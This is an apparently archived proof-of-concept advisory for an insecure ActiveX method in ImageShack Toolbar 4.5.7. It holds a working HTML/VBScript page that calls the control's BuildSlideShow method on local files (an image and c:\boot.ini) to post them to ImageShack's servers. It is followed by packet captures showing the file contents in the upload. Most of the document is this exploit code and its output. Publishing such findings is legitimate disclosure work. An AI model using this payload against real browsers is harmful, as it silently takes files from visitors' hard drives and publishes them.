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imageshack-poc.txt
`<!--
ImageShack Toolbar 4.5.7 FileUploader Class (ImageShackToolbar.dll) insecure
method poc
This tool may allow a malicious web page to post arbitrary images on the web
from a user hard drive. Images will be visible on ImageShack site, a way for an
attacker to retrieve them maybe tag search or by understanding the renaming
operation, ex. "_" chars are removed and the "tq2" string is appended.
My test image is still visible here:
http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg
Note that a file with a non-image extension can cross the network, Imageshack
server replies with an error message, however this needs further investigation
that I let you to do, ex. with custom packet fields injection.
I suggest users to uninstall it temporarily an just use the site functionalities
Object safety report:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller
rgod-tsid-pa-he-ru-ka
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-->
<html>
<body>
<object classid='clsid:BDF9442E-9B03-42C2-87BA-2A459B0A5317' id='suntzu' /></object>
<script language='vbscript'>
suntzu.BuildSlideShow "file:///c:\\xp_wallpaper_glass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White"
suntzu.BuildSlideShow "file:///c:\\boot.ini", "Big",1,"uhuhinterestingprivatethings","Fade","White"
</script>
</body>
</html>
----
some wireshark's dump samples:
POST /upload_api.php HTTP/1.1
Content-Type: multipart/form-data, boundary=B-O-U-N-D-A-R-Y731553141
Content-Length: 21755
User-Agent: ImageShack Toolbar 4.5.7 ([..])
Host: load9.imageshack.us
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: imgshck=[..]; un_cookie=1; latest=img404; flashInstalled=9.0; __qca=[..]; rem_bar=1; nopopunder=1
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="toolbar"
IEImageShackToolbar-4.5.7.69
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="public"
yes
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="xml"
newformat
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="tags"
uhuhinterestingprivatethings
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="rembar"
1
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="fileupload"; filename="xp_wallpaper_glass.jpg"
Content-Type: image/jpeg
Content-Transfer-Encoding: binary
[file content]
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="thumbupload"; filename="xp_wallpaper_glass6fa1f1.jpg"
Content-Type: image/jpeg
Content-Transfer-Encoding: binary
[file content]
--B-O-U-N-D-A-R-Y731553141
Content-Disposition: form-data; name="class"
s
--B-O-U-N-D-A-R-Y731553141--
reply:
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
X-Powered-By: PHP/5.1.2
Set-Cookie: latest=img262; expires=Sun, 18-Jan-2009 07:56:24 GMT; path=/; domain=.imageshack.us
Set-Cookie: PHPSESSID=[..]; path=/
Set-Cookie: always_opt=-1; path=/; domain=.imageshack.us
Set-Cookie: rem_bar=1; expires=Sun, 18-Jan-2009 07:56:24 GMT; path=/; domain=.imageshack.us
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-type: text/xml
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Date: Thu, 24 Jan 2008 07:56:25 GMT
Server: lighttpd/1.4.8
<?xml version="1.0" encoding="iso-8859-1"?><imginfo xmlns="http//ns.imageshack.us/imginfo/6/" version="6" timestamp="1201161385">
<rating>
<ratings>0</ratings>
<avg>0.0</avg>
</rating>
<files server="262" bucket="7959">
<image size="16646" content-type="image/jpeg">xpwallpaperglasstq2.jpg</image>
<thumb size="3155" content-type="image/jpeg">xpwallpaperglasstq2.th.jpg</thumb>
</files>
<resolution>
<width>426</width>
<height>320</height>
</resolution>
<class>s</class>
<uploader>
<ip>87.11.97.155</ip>
</uploader>
<links>
<image_link>http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg</image_link>
<image_html><a href="http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg" target="_blank"><img src="http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg" alt="Free Image Hosting at www.ImageShack.us" border="0"/></a></image_html>
<image_bb>[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg[/IMG][/URL]</image_bb>
<image_bb2>[url=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg][/url]</image_bb2>
<thumb_link>http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg</thumb_link>
<thumb_html><a href="http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg" target="_blank"><img src="http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg" alt="Free Image Hosting at www.ImageShack.us" border="0"/></a></thumb_html>
<thumb_bb>[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg[/IMG][/URL]</thumb_bb>
<thumb_bb2>[url=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg][/url]</thumb_bb2>
<ad_link>http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg</ad_link>
<done_page>http://img262.imageshack.us/content.php?page=done&l=img262/7959/xpwallpaperglasstq2.jpg</done_page>
</links>
</imginfo>
with the boot.ini file:
POST /upload_api.php HTTP/1.1
Content-Type: multipart/form-data, boundary=B-O-U-N-D-A-R-Y732118720442
Content-Length: 1077
User-Agent: ImageShack Toolbar 4.5.7 (WinNT 5.1 Service Pack 2)
Host: load10.imageshack.us
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: imgshck=[..]; un_cookie=1; latest=img214; flashInstalled=9.0; __qca=[..]; rem_bar=1; nopopunder=1; always_opt=-1
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition: form-data; name="toolbar"
IEImageShackToolbar-4.5.7.69
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition: form-data; name="public"
yes
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition: form-data; name="xml"
newformat
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition: form-data; name="tags"
uhuhinterestingprivatethings
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition: form-data; name="rembar"
1
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition: form-data; name="fileupload"; filename="boot.ini"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home Edition" / fastdetect /NoExecute=OptIn
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition: form-data; name="class"
s
--B-O-U-N-D-A-R-Y732118720442--
reply:
HTTP/1.1 200 OK
Transfer-Encoding: chunked
X-Powered-By: PHP/5.1.2
Content-Type: text/xml
Set-Cookie: latest=img89; expires=Sun, 18-Jan-2009 07:56:28 GMT; path=/; domain=.imageshack.us
Date: Thu, 24 Jan 2008 07:56:28 GMT
Server: lighttpd/1.4.18
<links>
<error id="wrong_file_type">Wrong file type detected for file boot.ini:application/octet-stream</error>
</links>
`
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25 Jan 2008 00:00Current
7.4High risk
Vulners AI Score7.4